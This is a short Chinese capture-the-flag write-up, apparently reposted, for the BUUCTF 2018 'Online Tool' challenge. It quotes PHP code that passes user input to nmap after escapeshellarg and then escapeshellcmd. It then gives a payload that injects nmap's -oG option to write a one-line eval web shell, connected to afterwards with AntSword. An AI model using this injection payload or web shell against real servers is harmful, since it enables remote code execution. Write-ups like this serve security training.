1. 程式人生 > 其它 >[BUUCTF 2018]Online Tool 1

[BUUCTF 2018]Online Tool 1

1.發現

1.1開啟題目地址發現為PHP程式碼審計。

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    //獲取IP
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);  //對檔案語法進行高亮顯示
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);   //
把字串轉碼成可以在shell命令裡使用的引數,將單引號進行轉義,轉義之後,再在左右加單引號 $host = escapeshellcmd($host); //對字串中可能會欺騙 shell 命令執行任意命令的字元進行轉義,將&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配對的單/雙引號轉義 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); //新建目錄,預設許可權,最大可能的訪問權
chdir($sandbox); //改變目錄路徑,成功返回true,失敗返回false echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); // -sT,在目標主機的日誌上記錄大批連線請求和錯誤的資訊 // -Pn,掃描之前不需要用ping命令,有些防火牆禁止使用ping命令 // -T5,時間優化引數,-T0~5,-T0掃描埠的週期大約為5分鐘,-T5大約為5秒鐘 // --host-time限制掃描時間 // -F,快速掃描

1.2關鍵點在於這個兩個函式,這兩個函式結合在一起使用,且先呼叫escapeshellarg函式的時候,有危險。

$host = escapeshellarg($host);   
$host = escapeshellcmd($host);

2.步驟

2.1構造payload,得到資料夾。

?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '

2.2用蟻劍連結,得到flag。

☆★http://a3ee6eba-716a-4add-903c-f68e5c4478cb.node4.buuoj.cn:81/1cdc3c07b1b397d1d20acafd6ab4c471/hack.php

3.借鑑

BUUCTF復現記錄2 - mortals-tx - 部落格園 (cnblogs.com)